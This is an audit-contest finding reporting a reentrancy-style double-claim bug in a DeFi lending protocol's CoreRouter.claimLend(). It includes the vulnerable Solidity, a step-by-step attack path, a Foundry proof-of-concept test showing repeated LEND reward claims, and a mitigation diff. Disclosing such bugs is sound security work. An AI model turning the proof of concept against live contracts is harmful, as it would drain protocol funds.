Itchy Fiery Cyborg

High

# Reentrant LEND token claiming in `CoreRouter.claimLend()` leading to infinite reward drain.

### Summary

The missing accrual reset in `CoreRouter.claimLend()` will cause a complete loss of LEND tokens for the protocol as an attacker will repeatedly call the function to drain the entire LEND reserve of the CoreRouter contract. The root cause is that `lendAccrued` values are never cleared after claiming, allowing users to claim the same LEND rewards multiple times.

### Root Cause

In [CoreRouter.sol#L403-405](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L399-L407):
```solidity
        for (uint256 j = 0; j < holders.length;) {
            uint256 accrued = lendStorage.lendAccrued(holders[j]);
            if (accrued > 0) {
                grantLendInternal(holders[j], accrued);
            }
            unchecked {
                ++j;
            }
        }
```
The `CoreRouter.claimLend()` function transfers LEND tokens to holders but never resets the `lendAccrued` values for the holders. Therefore, an attacker can repeatedly call the `CoreRouter.claimLend()` function to drain the entire LEND reserve of the CoreRouter contract.

### Internal Pre-conditions

1. Protocol must hold LEND tokens in CoreRouter contract.
2. At least one user must have `lendAccrued > 0`.

### External Pre-conditions

None

### Attack Path

1. Attacker accumulates LEND rewards through supplying to the `CoreRouter.sol` contract.
2. After some time, blocks are mined and attacker accrues some LEND rewards.
3. Attacker repeatedly calls `claimLend()` with his address to drain the LEND tokens held in the CoreRouter contract. holds.

### Impact

The protocol suffers complete loss of LEND tokens held in the CoreRouter contract. 

### PoC

Add the following test to `test/mocks/TestLendAccrual.t.sol`:
```solidity
    function test_multiple_claim_lend() public {
        address lendAddress = lendtroller.getLendAddress();

        // Supply some tokens with two users
        uint256 user1Supply = 500e18;
        uint256 user2Supply = 1000e18;
        (, address lToken) = _supply(user1Supply, user1);
        _supply(user2Supply, user2);

        // Advance time
        vm.warp(block.timestamp + 1 days);
        vm.roll(block.number + 1000);

        // Claim for user1
        address[] memory holders = new address[](1);
        holders[0] = user1;
        LToken[] memory lTokenArray = new LToken[](1);
        lTokenArray[0] = LToken(lToken);

        vm.prank(user1);

        // First claiming
        coreRouter.claimLend(holders, lTokenArray, false, true);

        uint256 lendBalance1 = IERC20(lendAddress).balanceOf(address(user1));
        uint256 lendBalance2 = IERC20(lendAddress).balanceOf(address(coreRouter));
        console2.log("Balance of LEND token after the 1st claimLend: user1=%d, coreRouter=%d", lendBalance1, lendBalance2);

        // Second claiming
        coreRouter.claimLend(holders, lTokenArray, false, true);
        uint256 lendBalance3 = IERC20(lendAddress).balanceOf(deployer);

        lendBalance1 = IERC20(lendAddress).balanceOf(address(user1));
        lendBalance2 = IERC20(lendAddress).balanceOf(address(coreRouter));
        console2.log("Balance of LEND token after the 2nd claimLend: user1=%d, coreRouter=%d", lendBalance1, lendBalance2);
    }
```

Run the test with `forge test -vv --match-test test_multiple_claim_lend` and the logs are as follows:
```solidity
Ran 1 test for test/mocks/TestLendAccrual.t.sol:TestLendAccrual
[PASS] test_multiple_claim_lend() (gas: 856307)
Logs:
  Balance of LEND token after the 1st claimLend: user1=33333333333333333, coreRouter=66666666666666666
  Balance of LEND token after the 2nd claimLend: user1=66666666666666666, coreRouter=33333333333333333

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.92ms (1.67ms CPU time)

Ran 1 test suite in 18.56ms (9.92ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

We can see that the attacker (user1) can successfully claim the LEND tokens repeatedly.

### Mitigation

1. Add `setLendAccrued` function with `onlyAuthorized` modifier to the `LendStorage` contract.
2. Call `setLendAccrued` to reset accrued values immediately after transfer in `CoreRouter.claimLend()`:  
```solidity

// LendStorage.sol
+    function setLendAccrued(address user, uint256 accrued) external onlyAuthorized {
+        lendAccrued[user] = accrued;
+    }

// CoreRouter.sol
    function claimLend(address[] memory holders, ...) external {
        // ... existing code ...
        
        for (uint256 j = 0; j < holders.length;) {
            uint256 accrued = lendStorage.lendAccrued(holders[j]);
            if (accrued > 0) {
-               grantLendInternal(holders[j], accrued); 
+               uint256 remaining = grantLendInternal(holders[j], accrued);
+               if (remaining == 0) {
+                   lendStorage.setLendAccrued(holders[j], 0);
+               }
            }
            unchecked {
                ++j;
            }
        }
    }
```